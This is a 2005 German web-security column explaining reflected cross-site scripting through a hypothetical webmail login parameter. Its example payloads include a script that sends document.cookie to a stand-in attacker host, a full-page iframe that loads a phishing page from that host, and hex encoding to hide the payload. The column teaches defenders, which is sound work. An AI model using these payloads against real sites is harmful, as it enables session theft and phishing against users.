Mittwoch, 22. August 2012


Topthema

Donnerstag, 14. Juli 2005 | Topthema

About Security #14: Cross-Site Scripting

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/022893)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

Cross-Site Scripting, abgek�rzt CSS oder XSS, ist ein weiterer weit verbreiteter Angriff auf Webanwendungen. Damit wird das Einschleusen von HTML- und JavaScript-Code in eine Webseite bezeichnet. Derartige Angriffe sind eine h�ufig untersch�tzte Gefahr.

N E U ! Security aktuell
T�glich aktuelle Security-Infos!

Voraussetzungen

F�r einen Cross-Site-Scripting-Angriff ben�tigt der Angreifer eine Webanwendung, die Eingaben nicht ausreichend pr�ft, bevor sie sie als Bestandteil einer dynamischen Webseite an den Benutzer zur�ckgibt. Dabei ist der einfachste Fall die Fehlermeldung f�r eine nicht gefundene Datei mit dem Code 404. Wird dabei der Name der nicht gefundenen Datei ausgegeben, erscheint eine Meldung nach dem Muster 404 - Datei [Dateiname] nicht gefunden. Wird der Dateiname nicht ausreichend gepr�ft, kann ein Angreifer dar�ber seinen Cross-Site-Scripting-Code einschleusen.

Als Beispiel soll eine Webmail-Anwendung dienen:

http://www.mailprovider.example/webmail/login.php?user=[User-ID]

Die Eingaben in den Parameter 'user' sollen nicht ausreichend gepr�ft werden, bevor sie auf der Login-Seite angezeigt werden. Der Angreifer stellt nun einen Link nach seinen Vorstellungen zusammen:

http://www.mailprovider.example/webmail/login.php?user=[CSS-Code]
About Security: Die komplette Serie

Dann veranlasst er einen Benutzer, diesen Link anzuklicken. Dazu kann er ihm den Link z.B. per E-Mail zuschicken. Die Daten werden nach dem Anklicken an die Webanwendung geschickt. Diese bettet die Eingabe in eine dynamisch erzeugte Webseite ein und sendet diese an den Benutzer. Der eingeschleuste Code wird im Webbrowser des Benutzers im Kontext der betroffenen Website ausgef�hrt. Und genau darin besteht die Gefahr: Schutzfunktionen des Webbrowsers, die aufgrund der Herkunft des JavaScript-Codes �ber dessen Ausf�hrung und Rechte entscheiden, werden so umgangen. Da der JavaScript-Code anscheinend von einer vertrauensw�rdigen Website stammt, wird er nicht als sch�dlich bzw. unerw�nscht erkannt, sondern ausgef�hrt.

Was kann passieren?

Ein sehr einfaches Beispiel, das oft zur Demonstration verwendet wird, ist JavaScript-Code zum �ffnen einer Alertbox:

<script>alert('Cross-Site-Scripting!')</script>

Das ist vollkommen harmlos. Ein Angreifer k�nnte den Benutzer mit einer ganzen Folge solcher Alertboxen �rgern, aber Schaden anrichten kann er so nicht. Es geht aber weiter: Wie schon erw�hnt, wird der eingeschleuste Code im Kontext der betroffenen Seite ausgef�hrt. Der Angreifer hat also Zugriff auf die von dieser Website gespeicherten Cookies:

<script>alert(document.cookie);</script>

Der Angreifer kann dem Benutzer so Cookies zeigen. Das ist eigentlich auch kein Grund zur Aufregung, denn die kann sich der Benutzer auch von seinem Webbrowser anzeigen lassen. Aber wieso sollte der Angreifer den Cookie �berhaupt anzeigen? Er kann ihn sich ja auch an seinen eigenen Server schicken lassen:

<script>document.location='http://www.boeser-server.example/cgi-bin/
cookieklau.cgi?'%20+document.cookie</script>

So kann sich der Angreifer Cookies seiner Opfer beschaffen. Und das ist in der Tat gef�hrlich, da in Cookies z.B. Authentifizierungsdaten oder Session-Informationen gespeichert werden. Beschafft sich ein Angreifer einen Session-Cookie eines Webmail-Benutzers, hat er danach Zugriff auf dessen Mailkonto, sofern es keine weiteren Schutzma�nahmen gibt.

Es geht aber noch weiter: Wird Code f�r einen IFRAME-Tag mit H�he und Breite von 100 Prozent eingeschleust, kann der Angreifer seine eigenen Inhalte unter der vertrauensw�rdigen Adresse anzeigen:

<iframe SRC="http://www.boeser-server.example/datenklau.html" height ="100%" width="100%"></iframe>

Als URL f�r die Beispiel-Webmailanwendung ergibt das dann

http://www.mailprovider.example/webmail/login.php?user=
<iframe SRC="http://www.boeser-server.example/datenklau.html"
height ="100%" width="100%"></iframe>

Ideal f�r Phishing-Angriffe: Das Opfer sieht in der Adresszeile die Adresse einer vertrauensw�rdigen Webseite, gibt seine Daten aber tats�chlich in ein Formular vom Server des Angreifers ein. Da diese Form des URL ziemlich auff�llig ist, kann der Angreifer seinen einzuschleusenden Code auch tarnen, indem er ihn als Hexadezimal-Werte schreibt. Aus

<iframe SRC=

wird dann

%3c%69%66%72%61%6d%65%20%53%52%43%3d

usw.:

http://www.mailprovider.example/webmail/login.php?user=
%3c%69%66%72%61%6d%65%20%53%52%43%3d...

Der URL ist zwar immer noch auff�llig lang, aber der Benutzer kann keinen verd�chtigen Text mehr erkennen. Au�erdem sind lange URLs nicht ungew�hnlich, nur im direkten Vergleich zur Original-URL f�llt der manipulierte Parameter auf.

Nachdem Sie nun wissen, was Cross-Site Scripting ist und was ein Angreifer damit erreichen kann, geht es in der n�chsten Folge um die Frage, wie der Angreifer seinen Code einschleusen kann und wie die Entwickler von Webanwendungen dessen Ausf�hrung verhindern k�nnen.

Wenn Sie Fragen oder Themenvorschl�ge haben, k�nnen Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security � �bersicht zum aktuellen Thema "Sichere Webanwendungen"

Kommentare

Folgende Links könnten Sie auch interessieren

  • Ethical Hacking  [13.08.2008]
    [http://entwickler.de/zonen/portale/psecom,id,102,buch,760,.html]
  • Netzwerkangriffe von innen  [22.10.2009]
    [http://entwickler.de/zonen/portale/psecom,id,102,buch,796,.html]
  • Managed Services  [07.02.2005]
    [http://entwickler.de/zonen/portale/psecom,id,101,online,663,.html]
  • Grsecurity und PaX  [06.12.2006]
    [http://entwickler.de/zonen/portale/psecom,id,101,online,1028,.html]
  • SSO frei Haus  [01.09.2006]
    [http://entwickler.de/zonen/portale/psecom,id,101,online,910,.html]